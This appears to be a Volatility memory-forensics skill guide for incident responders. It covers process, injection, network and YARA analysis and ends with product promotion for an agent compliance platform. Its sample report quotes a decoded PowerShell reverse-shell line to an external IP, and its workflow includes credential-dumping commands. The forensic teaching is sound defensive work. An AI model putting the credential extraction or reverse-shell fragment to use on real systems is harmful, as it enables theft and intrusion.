Analyzing Memory Dumps with Volatility

When to Use

• A compromised system's RAM has been captured and needs forensic analysis for malware artifacts
• Detecting fileless malware that exists only in memory without persistent disk artifacts
• Extracting encryption keys, passwords, or decrypted configuration from process memory
• Identifying process injection, DLL injection, or process hollowing in a compromised system
• Analyzing rootkit activity that hides from standard disk-based forensic tools

Do not use for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.

Prerequisites

• Volatility 3 installed (pip install volatility3) with symbol tables for target OS
• Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)
• Knowledge of the source OS version for correct profile/symbol selection
• Sufficient disk space (memory dumps can be 4-64 GB)
• YARA rules for scanning memory for known malware signatures
• Strings utility for extracting readable strings from memory regions

Workflow

Step 1: Identify the Memory Dump Profile

Determine the operating system and version from the memory dump:

# Volatility 3: Automatic OS detection
vol3 -f memory.dmp windows.info

# List available plugins
vol3 -f memory.dmp --help

# If symbols are needed, download from:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# For Volatility 2 (legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan

Step 2: Enumerate Running Processes

List all processes and identify suspicious entries:

# List all processes
vol3 -f memory.dmp windows.pslist

# Process tree (parent-child relationships)
vol3 -f memory.dmp windows.pstree

# Scan for hidden/unlinked processes (rootkit detection)
vol3 -f memory.dmp windows.psscan

# Compare pslist vs psscan to find hidden processes
# Processes in psscan but not pslist are potentially hidden by rootkits

# Check for process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Then verify the dumped EXE matches the expected binary on disk

Suspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)

Step 3: Detect Malicious Code Injection

Scan for injected code and process hollowing:

# Detect injected code in processes (malfind)
vol3 -f memory.dmp windows.malfind

# Malfind looks for:
# - Memory regions with PAGE_EXECUTE_READWRITE protection
# - Memory regions containing PE headers (MZ/PE signature)
# - VAD (Virtual Address Descriptor) anomalies

# Dump injected memory regions for analysis
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# List loaded DLLs per process
vol3 -f memory.dmp windows.dlllist --pid 2184

# Detect hollowed processes by comparing mapped image to disk
vol3 -f memory.dmp windows.hollowfind

# Scan for loaded drivers (potential rootkit drivers)
vol3 -f memory.dmp windows.driverscan

# List kernel modules
vol3 -f memory.dmp windows.modules

Step 4: Analyze Network Connections

Extract active and closed network connections:

# List all network connections (active and listening)
vol3 -f memory.dmp windows.netscan

# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner

# Filter for established connections to external IPs
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# For older Windows (XP/2003):
vol3 -f memory.dmp windows.netstat

# Cross-reference PIDs with process list
# Suspicious: svchost.exe connected to external IP on non-standard port
# Suspicious: notepad.exe or calc.exe with network connections

Step 5: Extract Artifacts and Credentials

Recover sensitive data from memory:

# Dump process memory for a specific PID
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# Extract command-line history
vol3 -f memory.dmp windows.cmdline

# Extract environment variables
vol3 -f memory.dmp windows.envars --pid 2184

# Registry analysis (extract Run keys for persistence)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# Extract hashed/cached credentials
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# Extract clipboard contents
vol3 -f memory.dmp windows.clipboard

# File extraction from memory
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

Step 6: Scan Memory with YARA Rules

Apply YARA signatures to detect known malware in memory:

# Scan entire memory dump with YARA rules
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# Scan specific process memory
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# Built-in YARA scan for common patterns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# Scan for encryption key material
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"

Step 7: Timeline and Report Generation

Create an analysis timeline and compile findings:

# Generate comprehensive timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# Timeline includes:
# - Process creation/exit times
# - Network connection timestamps
# - Registry modification times
# - File access times

# Export process list for reporting
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# Export network connections
vol3 -f memory.dmp windows.netscan --output csv > network.csv

Key Concepts

Term	Definition
Memory Forensics	Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk
Process Hollowing	Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution
Malfind	Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs
VAD (Virtual Address Descriptor)	Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing
EPROCESS	Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools
Pool Tag Scanning	Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked
Fileless Malware	Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics

Tools & Systems

• Volatility 3: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture
• WinPmem: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis
• LiME (Linux Memory Extractor): Loadable kernel module for capturing Linux system memory dumps
• Rekall: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)
• MemProcFS: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis

Common Scenarios

Scenario: Detecting Fileless Malware After EDR Alert

Context: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.

Approach:

1. Run windows.pstree to identify the process chain (which process spawned PowerShell)
2. Run windows.malfind to detect injected code in running processes
3. Dump the suspicious process memory and extract strings for C2 URLs
4. Run windows.netscan to identify network connections from the compromised processes
5. Run windows.cmdline to see what commands PowerShell executed
6. Scan with YARA rules for known malware families in the dumped process memory
7. Extract credentials with hashdump and lsadump to assess lateral movement risk

Pitfalls:

• Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)
• Not comparing pslist vs psscan output (missing rootkit-hidden processes)
• Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)
• Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)

Output Format

MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File:        memory.dmp
Dump Size:        16 GB
OS Version:       Windows 10 21H2 (Build 19044)
Capture Tool:     WinPmem 4.0
Capture Time:     2025-09-15 14:35:00 UTC

SUSPICIOUS PROCESSES
PID   PPID  Name              Path                                    Anomaly
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      Child of fake svchost
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             Spawned by PowerShell

CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
  Address: 0x00400000  Size: 98304  Protection: PAGE_EXECUTE_READWRITE
  Header: MZ (embedded PE detected)
  SHA-256 of dump: abc123def456...

NETWORK CONNECTIONS
PID   Process         Local           Foreign              State
2184  svchost.exe     10.1.5.42:49152 185.220.101.42:443   ESTABLISHED
4012  powershell.exe  10.1.5.42:49200 91.215.85.17:8080    ESTABLISHED

EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }

TIMELINE
14:10:00  svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05  Network connection to 185.220.101.42:443 established
14:12:30  powershell.exe (PID 4012) spawned by svchost.exe
14:15:00  Code injection into explorer.exe (PID 852) detected
14:20:00  Credential dump from LSASS process

Verification Criteria

Confirm successful execution by validating:

• [ ] All prerequisite tools and access requirements are satisfied
• [ ] Each workflow step completed without errors
• [ ] Output matches expected format and contains expected data
• [ ] No security warnings or misconfigurations detected
• [ ] Results are documented and evidence is preserved for audit

Compliance Framework Mapping

This skill supports compliance evidence collection across multiple frameworks:

• SOC 2: CC7.2 (Anomaly Detection), CC7.4 (Incident Response)
• ISO 27001: A.12.2 (Malware Protection), A.16.1 (Security Incident Management)
• NIST 800-53: SI-3 (Malicious Code Protection), IR-4 (Incident Handling)
• NIST CSF: DE.CM (Continuous Monitoring), RS.AN (Analysis)

Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.

Deploying This Skill with Claw GRC

Agent Execution

Register this skill with your Claw GRC agent for automated execution:

# Install via CLI
npx claw-grc skills add analyzing-memory-dumps-with-volatility

# Or load dynamically via MCP
grc.load_skill("analyzing-memory-dumps-with-volatility")

Audit Trail Integration

When executed through Claw GRC, every step of this skill generates tamper-evident audit records:

• SHA-256 chain hashing ensures no step can be modified after execution
• Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
• Trust score impact — successful execution increases your agent's trust score

Continuous Compliance

Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.